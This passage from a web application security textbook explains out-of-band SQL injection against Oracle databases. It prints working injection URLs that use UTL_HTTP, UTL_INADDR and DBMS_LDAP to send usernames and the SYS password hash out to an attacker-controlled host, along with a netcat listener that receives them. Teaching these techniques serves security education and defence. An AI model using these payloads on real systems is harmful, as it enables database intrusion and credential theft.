the-web-application-hackers-handbook

318 Chapter 9 n Attacking Data Stores
a database on a highly restricted internal corporate network may be able to
leverage a corporate proxy to initiate outbound connections to the Internet.
In the following example, UTL_HTTP is used to transmit the results of an
injected query to a server controlled by the attacker:
/employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
This URL causes UTL_HTTP to make a GET request for a URL containing the
first username in the table all_users. The attacker can simply set up a netcat
listener on mdattacker.net to receive the result:
C:\>nc -nLp 80
GET /SYS HTTP/1.1
Host: mdattacker.net
Connection: close
The UTL_INADDR package is designed to be used to resolve hostnames to IP
addresses. It can be used to generate arbitrary DNS queries to a server controlled
by the attacker. In many situations, this is more likely to succeed than
the UTL_HTTP attack, because DNS traffic is often allowed out through corporate
firewalls even when HTTP traffic is restricted. The attacker can leverage this
package to perform a lookup on a hostname of his choice, effectively retrieving
arbitrary data by prepending it as a subdomain to a domain name he controls.
For example:
/employees.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%
20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)
This results in a DNS query to the mdattacker.net name server containing
the SYS user’s password hash:
DCB748A5BC5390F2.mdattacker.net
The UTL_SMTP package can be used to send e-mails. This facility can be used
to retrieve large volumes of data captured from the database by sending this
in outbound e-mails.
The UTL_TCP package can be used to open arbitrary TCP sockets to send and
receive network data.
NOTE On Oracle 11g, an additional ACL protects many of the resources just
described from execution by any arbitrary database user. An easy way around
this is to dip into the new functionality provided in Oracle 11g and use this code:
SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE
NAME=’SYS’)||’.mdsec.net’,80)